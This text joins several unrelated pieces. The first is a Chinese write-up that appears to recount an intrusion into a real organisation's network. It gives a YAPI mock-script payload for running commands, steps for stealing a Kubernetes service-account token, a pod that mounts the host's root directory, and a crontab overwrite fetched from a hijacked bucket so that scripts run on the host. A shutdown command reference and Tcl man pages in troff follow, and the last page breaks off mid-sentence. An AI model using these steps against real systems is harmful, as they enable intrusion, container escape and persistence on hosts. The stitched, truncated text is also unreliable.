--- title: 内网接管 K8s 并逃逸实战 --- <center><h1>RCE 进入内网接管 K8s 并逃逸进 xx 网</h1><b>本文作者:k.so</b><br><br></center> --- <div align=center><img width="600" src="/img/1686304043.gif"></div> 苏格拉李说过:三分靠技术,七分靠运气 一次运气不错的内网之行 ~ 故事从一个可以注册的 YAPI 说起 <img width="500" src="/img/1686304072.png"><br> 注册完进去在创建一个 mock 脚本 ```bash const sandbox = this const ObjectConstructor = this.constructor const FunctionConstructor = ObjectConstructor.constructor const test = FunctionConstructor('return process') const process = test() mockJson = process.mainModule.require("child_process").execSync("ip show & id").toString() ``` <img width="1000" src="/img/1686305318.png"><br> 脚本创建完,在接口处找到这个接口,访问一下,拿到命令执行的回显 <img width="1000" src="/img/1686305358.png"><br> 进来之后,也不敢扫,而且时间也不急,慢工出细活嘛,不着急 发现是个 Docker 环境,想了想之前信息收集的时候目标有可能是用在私有云,于是试了下以下命令 ```bash df -T ``` 存在 `/run/secrets/kubernetes.io`,确认是 K8s 环境,忘了截图,我就拿嘴呲吧 既然是 K8s 要么逃逸要么接管,先看看是不是特权模式 ```bash cat /proc/self/status | grep -qi '0000003fffffffff' && echo 'Is privileged mode'|| echo 'Not privileged mode' ``` 很可惜,不是 <img width="800" src="/img/1686306055.png"><br> 那再看看当前 Pod 中默认 service-account 的权限吧 ```bash cat /run/secrets/kubernetes.io/serviceaccount/token ``` 把一长串 Token 复制出来,用 curl 命令向 API Server 发送请求 ```bash curl -ks -H "Authorization: Bearer XXXXXXXXXX" https://10.x.x.1:6443/api/v1/namespaces/node ``` 访问成功!是个高权!能搞! <img width="800" src="/img/1686306283.png"><br> 此时我们既可以接管这个 K8s 也可以逃逸,后续利用方法有很多。 这里打算创建一个恶意 Pod,将宿主机根目录挂载这个恶意 Pod 里,然后进行逃逸,手法也有很多,比如: 1. 直接使用 curl 命令访问 6443 端口部署 Pod ```bash curl -ks -H "Authorization: Bearer $token" -H "Content-Type: application/yaml" -d "$(cat 1.yaml)"https://10.x.x.1:6443/api/v1/namespaces/default/pods/ ``` 2. 或者用 CDK 进行部署 ```bash ./cdk kcurl default post 'https://10.x.x.1:6443/api/v1/namespaces/default/pods?fieldManager=kubectl-client-side-apply' '{"apiVersion":"v1","kind":"Pod","metadata":{"annotations":{"kubectl.kubernetes.io/last-applied-configuration":"{\"apiVersion\":\"v1\",\"kind\":\"Pod\",\"metadata\":{\"annotations\":{},\"name\":\"11\",\"namespace\":\"default\"},\"spec\":{\"conta此处省略一个yaml文件内容........... ``` 3. 再或者直接甩一个 Kubectl 上去,默认访问的就是 6443 端口,直接 `apply -f` 就行 这里选择第三种,越简单越好,但是这次目标又不能弹 Shell,又不能被溯源到 IP,刚好前面劫持了目标的一个 Bucket,于是把 Kubectl 扔上去,直接在 Pod 里下载 下载完后,再次确认以下当前默认 service-account权限 ```bash ./kubectl auth can-i --list ``` <img width="1000" src="/img/1686306781.png"><br> 你看看!你看看!就很舒服 再看看有多少个 Pod,重度打码了啊,大家能看懂就好 ```bash ./kubectl get pod -o wide --all-namespaces ``` 还行,四百来个,能玩 <img width="1000" src="/img/1686306846.png"><br> 看看有几个节点 ```bash ./kubectl get nodes --show-labels ``` 7 个节点有 3 个 Master 节点 <img width="1000" src="/img/1686306904.png"><br> 查看一下 Master01 节点的污点 ```bash kubectl describe node k8s-pro-master01 ``` <img width="1000" src="/img/1686306962.png"><br> 瞅瞅,这 Noexecute 和 NoSchedule 看的人难受 <img width="800" src="/img/1686306995.png"><br> 这里说一下,污点效果有三种: 1. `PreferNoSchedule`: Kubernetes 将尽量避免把 Pod 调度到具有该污点的 Node 上,除非没有其他节点可调度 2. `NoSchedule`: Kubernetes 将不会把 Pod 调度到具有该污点的 Node 上,但不会影响当前 Node 上已存在的 Pod 3. `NoExecute`: Kubernetes 将不会把 Pod 调度到具有该污点的 Node 上,同时也会将 Node 上已存在的 Pod 驱离 虽然这种情况下也有办法在 Master 上部署 Pod,但是要在 yaml 里增加好几行的工作量,我当然是不愿意了,于是选择了在当前 Pod 所在的节点上 搞一个简单一点的 yaml 文件,什么都没加,只把宿主机根目录挂载到名为 test 的 Pod 的 /mnt 目录中 ```yaml apiVersion: v1 kind: Pod metadata: name: test spec: containers: - image: nginx name: test-container volumeMounts: - mountPath: /mnt name: test-volume volumes: - name: test-volume hostPath: path: / ``` 相同方法扔到 Bucket中,然后 curl 回来进行 apply ```bash ./kubectl apply -f 1.yaml ``` <img width="600" src="/img/1686307224.png"><br> 在创建的 Pod 中执行个命令看看 ```bash ./kubectl -n namespace名 exec pod名 --(表示后面的是需要执行的命令,一定要加) ls -alt /mnt ``` OK,挂上来了 <img width="1000" src="/img/1686307292.png"><br> `df -T` 看看,一堆布拉布拉的盘 <img width="1000" src="/img/1686307321.png"><br> 到了这,要么利用计划任务逃逸,要么写 ssh 密钥,但是现实情况是不能弹 Shell,并且我也没有跳板机,没有做代理。 于是我准备这样搞,思路如下: 计划任务,定时执行 `/mnt/tmp/123.sh` 文件,结果回显到 sectest.result 文件,然后每次需要执行什么命令在 Bucket 桶里修改 123.sh,最后将 123.sh 放到宿主机的 `/tmp/` 目录里去等待执行。 说干就干,在这里,我害怕把这台机器的 Crontab 写坏了,所以我先把宿主机的 Crontab 备份了一份,以防万一。 <img width="1000" src="/img/1686307419.png"><br> 然后第一步就有问题了,echo 写计划任务写不进去 ```bash ./kubectl -n namespace exec test -- echo -e '* * * * * root bash /tmp/123.sh\n' >>/mnt/etc/crontab ``` <img width="1000" src="/img/1686307466.png"><br> 于是找了一份相同的 Crontab,本地添加计划任务后,使用 curl 命令直接 -o 覆盖宿主机的 Crontab 文件,成功。 ```bash ./kubectl -n namespace exec test -- curl http://xxxx.oss/crontab -o /mnt/etc/crontab ``` <img width="1000" src="/img/1686307571.png"><br> <img width="1000" src="/img/1686307587.png"><br> 接着第二步,下载内容为 `ifconfig >> /tmp/sectest.result` 的 123.sh 文件放到宿主机的 tmp 目录下,图上的 ifconig 都打错了,救命,还好问题不大,后来改回来了,成功。 <img width="1000" src="/img/1686307670.png"><br> 第三步,等待查看执行结果,成功。 大概看了一下,乱七八糟的物理、虚拟网卡有二三十个 <img width="800" src="/img/1686307734.png"><br> 到了这,又要开始新的一轮渗透了,一个大内网在等着我,具体情况下回再分解~ <div align=center><img width="800" src="/img/1686307762.jpeg"></div> > 原文地址:[RCE进入内网接管k8s并逃逸进xx网-实战科普教程(一)](https://mp.weixin.qq.com/s/UvjKHaVzhluc22trF46uBA) <Vssue /> <script> export default { mounted () { this.$page.lastUpdated = "2023 年 6 月 9 日" } } </script>
sec-knowleage
shutdown === 用来执行系统关机的命令 ## 补充说明 **shutdown命令** 用来系统关机命令。shutdown指令可以关闭所有程序,并依用户的需要,进行重新开机或关机的动作。 ### 语法 ```shell shutdown(选项)(参数) ``` ### 选项 ```shell -c:当执行“shutdown -h 11:50”指令时,只要按+键就可以中断关机的指令; -f:重新启动时不执行fsck; -F:重新启动时执行fsck; -h:将系统关机; -k:只是送出信息给所有用户,但不会实际关机; -n:不调用init程序进行关机,而由shutdown自己进行; -r:shutdown之后重新启动; -t<秒数>:送出警告信息和删除信息之间要延迟多少秒。 ``` ### 参数 * [时间]:设置多久时间后执行shutdown指令; * [警告信息]:要传送给所有登入用户的信息。 ### 实例 指定现在立即关机: ```shell shutdown -h now ``` 指定5分钟后关机,同时送出警告信息给登入用户: ```shell shutdown +5 "System will shutdown after 5 minutes" ```
sec-knowleage
'\" '\" Copyright (c) 1993 The Regents of the University of California. '\" Copyright (c) 1994-1996 Sun Microsystems, Inc. '\" '\" See the file "license.terms" for information on usage and redistribution '\" of this file, and for a DISCLAIMER OF ALL WARRANTIES. '\" '\" '\" The definitions below are for supplemental macros used in Tcl/Tk '\" manual entries. '\" '\" .AP type name in/out ?indent? '\" Start paragraph describing an argument to a library procedure. '\" type is type of argument (int, etc.), in/out is either "in", "out", '\" or "in/out" to describe whether procedure reads or modifies arg, '\" and indent is equivalent to second arg of .IP (shouldn't ever be '\" needed; use .AS below instead) '\" '\" .AS ?type? ?name? '\" Give maximum sizes of arguments for setting tab stops. Type and '\" name are examples of largest possible arguments that will be passed '\" to .AP later. If args are omitted, default tab stops are used. '\" '\" .BS '\" Start box enclosure. From here until next .BE, everything will be '\" enclosed in one large box. '\" '\" .BE '\" End of box enclosure. '\" '\" .CS '\" Begin code excerpt. '\" '\" .CE '\" End code excerpt. '\" '\" .VS ?version? ?br? '\" Begin vertical sidebar, for use in marking newly-changed parts '\" of man pages. The first argument is ignored and used for recording '\" the version when the .VS was added, so that the sidebars can be '\" found and removed when they reach a certain age. If another argument '\" is present, then a line break is forced before starting the sidebar. '\" '\" .VE '\" End of vertical sidebar. '\" '\" .DS '\" Begin an indented unfilled display. '\" '\" .DE '\" End of indented unfilled display. '\" '\" .SO '\" Start of list of standard options for a Tk widget. The '\" options follow on successive lines, in four columns separated '\" by tabs. '\" '\" .SE '\" End of list of standard options for a Tk widget. '\" '\" .OP cmdName dbName dbClass '\" Start of description of a specific option. cmdName gives the '\" option's name as specified in the class command, dbName gives '\" the option's name in the option database, and dbClass gives '\" the option's class in the option database. '\" '\" .UL arg1 arg2 '\" Print arg1 underlined, then print arg2 normally. '\" '\" '\" # Set up traps and other miscellaneous stuff for Tcl/Tk man pages. .if t .wh -1.3i ^B .nr ^l \n(.l .ad b '\" # Start an argument description .de AP .ie !"\\$4"" .TP \\$4 .el \{\ . ie !"\\$2"" .TP \\n()Cu . el .TP 15 .\} .ta \\n()Au \\n()Bu .ie !"\\$3"" \{\ \&\\$1 \\fI\\$2\\fP (\\$3) .\".b .\} .el \{\ .br .ie !"\\$2"" \{\ \&\\$1 \\fI\\$2\\fP .\} .el \{\ \&\\fI\\$1\\fP .\} .\} .. '\" # define tabbing values for .AP .de AS .nr )A 10n .if !"\\$1"" .nr )A \\w'\\$1'u+3n .nr )B \\n()Au+15n .\" .if !"\\$2"" .nr )B \\w'\\$2'u+\\n()Au+3n .nr )C \\n()Bu+\\w'(in/out)'u+2n .. .AS Tcl_Interp Tcl_CreateInterp in/out '\" # BS - start boxed text '\" # ^y = starting y location '\" # ^b = 1 .de BS .br .mk ^y .nr ^b 1u .if n .nf .if n .ti 0 .if n \l'\\n(.lu\(ul' .if n .fi .. '\" # BE - end boxed text (draw box now) .de BE .nf .ti 0 .mk ^t .ie n \l'\\n(^lu\(ul' .el \{\ .\" Draw four-sided box normally, but don't draw top of .\" box if the box started on an earlier page. .ie !\\n(^b-1 \{\ \h'-1.5n'\L'|\\n(^yu-1v'\l'\\n(^lu+3n\(ul'\L'\\n(^tu+1v-\\n(^yu'\l'|0u-1.5n\(ul' .\} .el \}\ \h'-1.5n'\L'|\\n(^yu-1v'\h'\\n(^lu+3n'\L'\\n(^tu+1v-\\n(^yu'\l'|0u-1.5n\(ul' .\} .\} .fi .br .nr ^b 0 .. '\" # VS - start vertical sidebar '\" # ^Y = starting y location '\" # ^v = 1 (for troff; for nroff this doesn't matter) .de VS .if !"\\$2"" .br .mk ^Y .ie n 'mc \s12\(br\s0 .el .nr ^v 1u .. '\" # VE - end of vertical sidebar .de VE .ie n 'mc .el \{\ .ev 2 .nf .ti 0 .mk ^t \h'|\\n(^lu+3n'\L'|\\n(^Yu-1v\(bv'\v'\\n(^tu+1v-\\n(^Yu'\h'-|\\n(^lu+3n' .sp -1 .fi .ev .\} .nr ^v 0 .. '\" # Special macro to handle page bottom: finish off current '\" # box/sidebar if in box/sidebar mode, then invoked standard '\" # page bottom macro. .de ^B .ev 2 'ti 0 'nf .mk ^t .if \\n(^b \{\ .\" Draw three-sided box if this is the box's first page, .\" draw two sides but no top otherwise. .ie !\\n(^b-1 \h'-1.5n'\L'|\\n(^yu-1v'\l'\\n(^lu+3n\(ul'\L'\\n(^tu+1v-\\n(^yu'\h'|0u'\c .el \h'-1.5n'\L'|\\n(^yu-1v'\h'\\n(^lu+3n'\L'\\n(^tu+1v-\\n(^yu'\h'|0u'\c .\} .if \\n(^v \{\ .nr ^x \\n(^tu+1v-\\n(^Yu \kx\h'-\\nxu'\h'|\\n(^lu+3n'\ky\L'-\\n(^xu'\v'\\n(^xu'\h'|0u'\c .\} .bp 'fi .ev .if \\n(^b \{\ .mk ^y .nr ^b 2 .\} .if \\n(^v \{\ .mk ^Y .\} .. '\" # DS - begin display .de DS .RS .nf .sp .. '\" # DE - end display .de DE .fi .RE .sp .. '\" # SO - start of list of standard options .de SO .SH "STANDARD OPTIONS" .LP .nf .ta 5.5c 11c .ft B .. '\" # SE - end of list of standard options .de SE .fi .ft R .LP See the \\fBoptions\\fR manual entry for details on the standard options. .. '\" # OP - start of full description for a single option .de OP .LP .nf .ta 4c Command-Line Name: \\fB\\$1\\fR Database Name: \\fB\\$2\\fR Database Class: \\fB\\$3\\fR .fi .IP .. '\" # CS - begin code excerpt .de CS .RS .nf .ta .25i .5i .75i 1i .. '\" # CE - end code excerpt .de CE .fi .RE .. .de UL \\$1\l'|0\(ul'\\$2 .. .TH Tcl 7tcl "8.1" Tcl "Tcl Built-In Commands" .BS .SH NAME Tcl \- 语言语法总结. .BE .SH 描述 DESCRIPTION .PP 下面的规则定义 Tcl 语言的语法和语义: .IP [1] 一个 Tcl 脚本是一个包含一个或多个命令的字符串。除了象后面描述的那样被引用(quote)之外,分号(Semi-colon)和换行(newline)是命令分隔符。除了被引用(quote)之外,右方括号(Close bracket)在命令替换期间是命令终结符(见后)。 .IP [2] 命令的求值分两步。 首先,Tcl 解释器把命令分解成字 (\fIwords\fR) 并按下面描述的那样完成替换。对所有命令都以同样的方式进行替换。第一个字用于定位完成这个命令的一个命令过程,接着命令的所有的字被传递给命令过程。命令过程以它喜欢的任何方式自由的解释命令的字,如一个整数、变量名、列表、或 Tcl 脚本。不同的命令以不同的方式解释它们的字。 .IP [3] 一个命令的字(word)由白空格(不包括作为命令分隔符的换行)来分隔。 .IP [4] 如果一个字的第一个字符是双引号 (``"'',double-quote) 则字终结于下一个双引号字符。如果是分号,右方括号,或白空格字符(包括换行)出现在引号之间则被作为普通的字符对待并包含在字里。象下面描述的那样,在引号之间的字符上进行命令替换、变量替换、和反斜杠替换。双引号不作为字的一部分而保留。 .IP [5] 如果一个字的第一个字符是左花括号 (“{”,open brace) 则字终结于相匹配的右花括号 (“}”,close brace)。花括号在字中嵌套: 对于每个增加的(additional)左花括号都必须有一个增加的右花括号(但是,如果 在一个字中的左括号或右括号被用一个反斜杠引用起来则在匹配右花括号时不计在内)。除了下面描述的反斜杠-换行替换之外,在花括号之间的字符上不进行替换,对分号、换行、右方括号、或白空格不做特殊的解释。字由外侧的花括号之间的字符精确的组成,不包括花括号自身。 .IP [6] 如果一个字包含一个左方括号 (\[lq][\[rq],open bracket ) 则 Tcl 进行命令替 换 (\fIcommand substitution\fR)。为此将递归调用 Tcl 解释器来把左方括号后 面的字符作为一个 Tcl 脚本处理。脚本可以包含任意数目的命令并且必须用一个 右方括号 (\[lq]]\[rq],close bracket) 来终结。脚本的结果(例如,最后的一条命令的结 果)将被替换到字中方括号和它们中间所有字符的位置上。在一个单一的字中可以 有任意数目的命令替换。在由花括号包起来(enclose)的字上不进行命令替换。 .IP [7] 如果一个字包含一个美元符(``$'')则 Tcl 进行变量替换 (\fIvariable substitution\fR): 字中的美元符号和跟随的字符被一个变量的值所替换。接受下面几种形式(form)的变量替换: .RS .TP 15 \fB$\fIname\fR \fIName\fR 是一个标量(scalar)变量的名字;名字终结于任何不是字母、数字、或下划线(underscore)的字符。 .TP 15 \fB$\fIname\fB(\fIindex\fB)\fR \fIName\fR 给出一个数组变量的名字,\fIindex\fR 给出在这个数组中的一个元素的名字. \fIName\fR 只能包含字母、数字、和下划线。\fIindex\fR 的字符将被进行命令替换、变量替换、和反斜杠替换。 .TP 15 \fB${\fIname\fB}\fR \fIName\fR 是一个标量( scalar)变量的名字。它可以包含除了右括号之外的任何字符。 .LP 一个单一的字中可以有任意数目的变量替换。在由花括号包起来(enclose)的字上不进行命令替换。 .RE .IP [8] 如果在一个字中出现一个反斜杠(\[lq]\\\[rq])则发生反斜杠替换 (\fIbackslash substitution\fR)。除了下面描述的这些情况之外,反斜杠 (backslash)被删除 (drop),跟随的字符被作为普通字符对待。这就允许在字中包含象双引号、右方括 号、和美元符号等字符而不触发特殊的处理。下表列出的要特殊处理的反斜杠序列 ,跟着的是每个序列被替换成的值。 .RS .TP 7 \e\fBa\fR 声音警告 (振铃) (0x7). .TP 7 \e\fBb\fR 退格 (0x8). .TP 7 \e\fBf\fR 换页 (0xc). .TP 7 \e\fBn\fR 换行 (0xa). .TP 7 \e\fBr\fR 回车 (0xd). .TP 7 \e\fBt\fR 跳格(Tab) (0x9). .TP 7 \e\fBv\fR 纵向跳格 (0xb). .TP 7 \e\fB<newline>\fIwhiteSpace\fR . 一个单一的空格字符替换反斜杠、换行和在换行后面的所有空格和跳格。这个反斜杠序列是唯一一个在命令被实际分析之前在一次独立的预处理(pre- pass)中被替换的。这意味着即使在花括号之间这个替换也发生,并且不在花括号和引号之间时作为结果的空格被作为一个字分隔符对待。 .TP 7 \e\e 反斜杠 (``\''). .VS 8.1 br .TP 7 \e\fIooo\fR . 数字\fIooo\fR(它们中的一个、两个、或三个)给出一个八进制数,是要插入的 Unicode 字符的八位值。 Unicode 字符的高位(upper)将是 0. .TP 7 \e\fBx\fIhh\fR . 十六进制数 \fIhh\fR 给出要插入的 Unicode 字符的八位值。可以提供任意数目的十六进制数字 ;但除了最后两位之外都被忽略(结果总是一个一字节的数量)。Unicode 字符的高位(upper)将是 0. .TP 7 \e\fBu\fIhhhh\fR . 十六进制数 \fIhhhh\fR (它们中的一个、两个、三个、或四个)给出要插入的 Unicode 字符的十六位值。 .VE .LP 除了前面描述的反斜杠-换行,在由花括号包起来(enclose)的字上不进行反斜杠替换。 .RE .IP [9] 如果一个升音符 “#” (sharp / hash) 出现在 Tcl 希望是一个命令的第一个字的地方(point),则升音符和其后面跟随的、一直到下一个换行的所有字符,被作为一个注释对待并被忽略。注释字符只有出现在一个命令开始时才有意义(significance)。 .IP [10] 每个字符作为建立的一个命令的某个字的一部分,被 Tcl 解释器精确的处理一次。例如,如果发生了变量替换则在变量的值上不进行进一步的替换;值被原封不动的(verbatim)插入字中。如果发生了命令替换则嵌套的命令被对 Tcl 解释器的递归调用整个的处理;在做递归调用之前不进行替换并且对嵌套的脚本的结果不进行额外的(additional)替换。 .IP [11] 替换不影响一个命令的字边界(boundary)。例如,即使变量的值包含空格,在变量替换期间变量的整个的值成为一个单一的字的一部分。 .SH "[中文版维护人]" .B 寒蝉退士 .SH "[中文版最新更新]" .B 2001/06/21 .SH "《中国 Linux 论坛 man 手册页翻译计划》:" .BI http://cmpp.linuxforum.net
sec-knowleage
'\" '\" Copyright (c) 1996 Sun Microsystems, Inc. '\" '\" See the file "license.terms" for information on usage and redistribution '\" of this file, and for a DISCLAIMER OF ALL WARRANTIES. '\" '\" RCS: @(#) $Id: pkgMkIndex.n,v 1.2 2003/11/24 05:09:59 bbbush Exp $ '\" '\" The definitions below are for supplemental macros used in Tcl/Tk '\" manual entries. '\" '\" .AP type name in/out ?indent? '\" Start paragraph describing an argument to a library procedure. '\" type is type of argument (int, etc.), in/out is either "in", "out", '\" or "in/out" to describe whether procedure reads or modifies arg, '\" and indent is equivalent to second arg of .IP (shouldn't ever be '\" needed; use .AS below instead) '\" '\" .AS ?type? ?name? '\" Give maximum sizes of arguments for setting tab stops. Type and '\" name are examples of largest possible arguments that will be passed '\" to .AP later. If args are omitted, default tab stops are used. '\" '\" .BS '\" Start box enclosure. From here until next .BE, everything will be '\" enclosed in one large box. '\" '\" .BE '\" End of box enclosure. '\" '\" .CS '\" Begin code excerpt. '\" '\" .CE '\" End code excerpt. '\" '\" .VS ?version? ?br? '\" Begin vertical sidebar, for use in marking newly-changed parts '\" of man pages. The first argument is ignored and used for recording '\" the version when the .VS was added, so that the sidebars can be '\" found and removed when they reach a certain age. If another argument '\" is present, then a line break is forced before starting the sidebar. '\" '\" .VE '\" End of vertical sidebar. '\" '\" .DS '\" Begin an indented unfilled display. '\" '\" .DE '\" End of indented unfilled display. '\" '\" .SO '\" Start of list of standard options for a Tk widget. The '\" options follow on successive lines, in four columns separated '\" by tabs. '\" '\" .SE '\" End of list of standard options for a Tk widget. '\" '\" .OP cmdName dbName dbClass '\" Start of description of a specific option. cmdName gives the '\" option's name as specified in the class command, dbName gives '\" the option's name in the option database, and dbClass gives '\" the option's class in the option database. '\" '\" .UL arg1 arg2 '\" Print arg1 underlined, then print arg2 normally. '\" '\" RCS: @(#) $Id: pkgMkIndex.n,v 1.2 2003/11/24 05:09:59 bbbush Exp $ '\" '\" # Set up traps and other miscellaneous stuff for Tcl/Tk man pages. .if t .wh -1.3i ^B .nr ^l \n(.l .ad b '\" # Start an argument description .de AP .ie !"\\$4"" .TP \\$4 .el \{\ . ie !"\\$2"" .TP \\n()Cu . el .TP 15 .\} .ta \\n()Au \\n()Bu .ie !"\\$3"" \{\ \&\\$1 \\fI\\$2\\fP (\\$3) .\".b .\} .el \{\ .br .ie !"\\$2"" \{\ \&\\$1 \\fI\\$2\\fP .\} .el \{\ \&\\fI\\$1\\fP .\} .\} .. '\" # define tabbing values for .AP .de AS .nr )A 10n .if !"\\$1"" .nr )A \\w'\\$1'u+3n .nr )B \\n()Au+15n .\" .if !"\\$2"" .nr )B \\w'\\$2'u+\\n()Au+3n .nr )C \\n()Bu+\\w'(in/out)'u+2n .. .AS Tcl_Interp Tcl_CreateInterp in/out '\" # BS - start boxed text '\" # ^y = starting y location '\" # ^b = 1 .de BS .br .mk ^y .nr ^b 1u .if n .nf .if n .ti 0 .if n \l'\\n(.lu\(ul' .if n .fi .. '\" # BE - end boxed text (draw box now) .de BE .nf .ti 0 .mk ^t .ie n \l'\\n(^lu\(ul' .el \{\ .\" Draw four-sided box normally, but don't draw top of .\" box if the box started on an earlier page. .ie !\\n(^b-1 \{\ \h'-1.5n'\L'|\\n(^yu-1v'\l'\\n(^lu+3n\(ul'\L'\\n(^tu+1v-\\n(^yu'\l'|0u-1.5n\(ul' .\} .el \}\ \h'-1.5n'\L'|\\n(^yu-1v'\h'\\n(^lu+3n'\L'\\n(^tu+1v-\\n(^yu'\l'|0u-1.5n\(ul' .\} .\} .fi .br .nr ^b 0 .. '\" # VS - start vertical sidebar '\" # ^Y = starting y location '\" # ^v = 1 (for troff; for nroff this doesn't matter) .de VS .if !"\\$2"" .br .mk ^Y .ie n 'mc \s12\(br\s0 .el .nr ^v 1u .. '\" # VE - end of vertical sidebar .de VE .ie n 'mc .el \{\ .ev 2 .nf .ti 0 .mk ^t \h'|\\n(^lu+3n'\L'|\\n(^Yu-1v\(bv'\v'\\n(^tu+1v-\\n(^Yu'\h'-|\\n(^lu+3n' .sp -1 .fi .ev .\} .nr ^v 0 .. '\" # Special macro to handle page bottom: finish off current '\" # box/sidebar if in box/sidebar mode, then invoked standard '\" # page bottom macro. .de ^B .ev 2 'ti 0 'nf .mk ^t .if \\n(^b \{\ .\" Draw three-sided box if this is the box's first page, .\" draw two sides but no top otherwise. .ie !\\n(^b-1 \h'-1.5n'\L'|\\n(^yu-1v'\l'\\n(^lu+3n\(ul'\L'\\n(^tu+1v-\\n(^yu'\h'|0u'\c .el \h'-1.5n'\L'|\\n(^yu-1v'\h'\\n(^lu+3n'\L'\\n(^tu+1v-\\n(^yu'\h'|0u'\c .\} .if \\n(^v \{\ .nr ^x \\n(^tu+1v-\\n(^Yu \kx\h'-\\nxu'\h'|\\n(^lu+3n'\ky\L'-\\n(^xu'\v'\\n(^xu'\h'|0u'\c .\} .bp 'fi .ev .if \\n(^b \{\ .mk ^y .nr ^b 2 .\} .if \\n(^v \{\ .mk ^Y .\} .. '\" # DS - begin display .de DS .RS .nf .sp .. '\" # DE - end display .de DE .fi .RE .sp .. '\" # SO - start of list of standard options .de SO .SH "STANDARD OPTIONS" .LP .nf .ta 5.5c 11c .ft B .. '\" # SE - end of list of standard options .de SE .fi .ft R .LP See the \\fBoptions\\fR manual entry for details on the standard options. .. '\" # OP - start of full description for a single option .de OP .LP .nf .ta 4c Command-Line Name: \\fB\\$1\\fR Database Name: \\fB\\$2\\fR Database Class: \\fB\\$3\\fR .fi .IP .. '\" # CS - begin code excerpt .de CS .RS .nf .ta .25i .5i .75i 1i .. '\" # CE - end code excerpt .de CE .fi .RE .. .de UL \\$1\l'|0\(ul'\\$2 .. .TH pkg_mkIndex 3tcl 8.3 Tcl "Tcl Built-In Commands" .BS '\" Note: do not modify the .SH NAME line immediately below! .SH NAME pkg_mkIndex \- 为包的自动装载建造一个索引 .SH "总览 SYNOPSIS" .nf .VS 8.3.0 \fBpkg_mkIndex ?\fI\-direct\fR? ?\fI\-lazy\fR? ?\fI\-load pkgPat\fR? ?\fI\-verbose\fR? \fIdir\fR ?\fIpattern pattern ...\fR? .VE .fi .BE .SH "描述 DESCRIPTION" .PP \fBPkg_mkIndex\fR 是标准Tcl 库中的一个实用过程。它被用于建立索引文件,在执行 \fBpackage require\fR 的时候用它来允许自动装载包。使用 \fBpkg_mkIndex\fR要依从下面这些步骤: .IP [1] 建立包。 每个包可以由一个或多个 Tcl 脚本文件或二进制文件组成。二进制文件必须适合使用有一个单一参数的 \fBload\fR 命令装载;例如,如果文件是 \fBtest.so\fR 它必须可能用命令 \fBload test.so \fR命令来装载这个文件。每个脚本文件必须包含一个 \fBpackage provide\fR 命令来声明包和版本号,而每个二进制文件必须包含一个对 \fBTcl_PkgProvide\fR的调用。 .IP [2] 通过调用 \fBpkg_mkIndex \fR建立索引。 用 \fIdir\fR 参数给出一个目录的名字并且每个\fIpattern\fR 参数都是在 \fIdir\fR\fI \fR中选择脚本或二进制文件的一个通配符式样的模式。 .VS 8.0.3 缺省的模式是 \fB*.tcl\fR 和 \fB*.[info sharedlibextension]\fR。 .VE .br \fBPkg_mkIndex\fR 将在 \fIdir\fR 中建立一个文件 \fBpkgIndex.tcl\fR,其中有关于用 \fIpattern\fR 参数给出的所有文件的包信息。它通过把每个文件装载到一个从解释器中并查看出现了那些包和新命令来完成这项工作(这就是上面描述的在这些文件中必须有 \fBpackage provide\fR 命令或 \fBTcl_PkgProvide\fR 调用的原因)。如果你有一个分开成多个脚本和二进制文件的包,或有文件间的依赖,你可能必须使用 \fB-load\fR 选项或调整 \fBpkg_mkIndex\fR 处理这些文件的次序。参见下面的 COMPLEX CASES 复杂情况。 .IP [3] 把包安装为由 \fBtcl_pkgPath\fR 变量给出的某个目录的子目录。如果 \fB$tcl_pkgPath\fR 包含多于一个的目录,依赖于机器的包(例如,包含二进制共享库的包)通常应该被安装在第一个目录下面而不依赖于机器的包(例如,只包含 Tcl 脚本的包)应该被安装在第二个目录下面。子目录应该包含包的脚本和/或二进制文件还有 \fBpkgIndex.tcl\fR 文件。包被安装为在 \fB$tcl_pkgPath\fR 中的一个目录的一个子目录之后,在 \fBpackage require\fR 命令期间可自动找到它。 .br 如果你把包安装在其他地方,则你必须确保包含包的目录在 \fBauto_path\fR 全局变量中或在 \fBauto_path\fR 中的一个目录的最直接(immediate)子目录中。\fBAuto_path\fR包含由自动装载器和包装载器查找的目录的一个列表;缺省的它包括 \fB$tcl_pkgPath\fR。包装载器也检查在 \fBauto_path\fR 中的目录的所有子目录。你可以在你的应用中显式的向 \fBauto_path\fR增加一个目录,或向你的 \fBTCLLIBPATH\fR 环境变量添加这个目录: 如果这个环境变量存在,在应用启动期间Tcl 用它来初始化 \fBauto_path\fR。 .IP [4] 一旦进行了上述步骤,要使用一个包你需要做的就是调用 \fBpackage require\fR。例如,如果包 \fBTest\fR 的版本 2.1、2.3、和 3.1 已经用 \fBpkg_mkIndex \fR建立了索引,\fBpackage require Test\fR 将可获得版本 3.1 而命令 \fBpackage require -exact Test 2.1\fR将可获得版本 2.1。在 \fBauto_path\fR 中的不同的索引文件中可能有一个包的多个版本,实际上只有一个将被装载到给定的解释器中,具体决定于首先调用了哪个 \fBpackage require\fR。一个包的不同版本可以装载到不同的解释器中。 .SH "选项 OPTIONS" 选项开关有: .TP 15 \fB\-direct\fR The generated index will implement direct loading of the package upon \fBpackage require\fR. This is the default. .TP 15 \fB\-lazy\fR 生成的索引将设法延迟装载包,一直等到使用了由这个包提供命令之一,而不是在 \fBpackage require \fR时立即装载。 .TP 15 \fB\-load \fIpkgPat\fR 索引处理将预装载在当前解释器中现存的所有包和匹配 \fIpkgPat\fR 的包装载到到用于生成索引的从解释器中。模式匹配使用与字符串匹配相同的规则。参见下面的COMPLEX CASES复杂情况。 .TP 15 \fB\-verbose\fR 在索引处理期间生成输出。输出通过 \fBtclLog\fR 过程,这个过程缺省输出到 stderr。 .TP 15 \fB\-\-\fR 标志的终止,用于 \fIdir\fR 以连字号开始的情况。 .SH "包和自动装载器 PACKAGES AND THE AUTO-LOADER" .PP 包管理设施与自动装载器在一些方面有所重叠,二者都安排文件在需要时(on-demand)装载。但是,包管理是一个高层机制,它在装载过程的最后一步使用自动装载器。一般的,使用\fBpkg_mkIndex\fR 给一个包加索引而不使用 \fBauto_mkindex\fR ,因为包机制提供了版本控制: 在索引文件中可获得一个包的多个版本,急于 \fBpackage require\fR 命令不同的应用可使用不同的版本。相反的,\fBauto_mkindex\fR 不理解版本,所以它只能处理每个包的一个单一版本。对一个给定的包使用 \fBpkg_mkIndex\fR 和 \fBauto_mkindex\fR 两者来建立索引可能不是个好主意。如果你使用 \fBpkg_mkIndex\fR 来为一个包建立索引,它的命令不能被调用,一直等到使用 \fBpackage require\fR 选择了一个版本;相反的,用 \fBauto_mkindex\fR 建立索引的包由于没有版本而可以立即使用。 .SH "它是如何工作的 HOW IT WORKS" .PP \fBPkg_mkIndex\fR 依赖于 \fBpackage 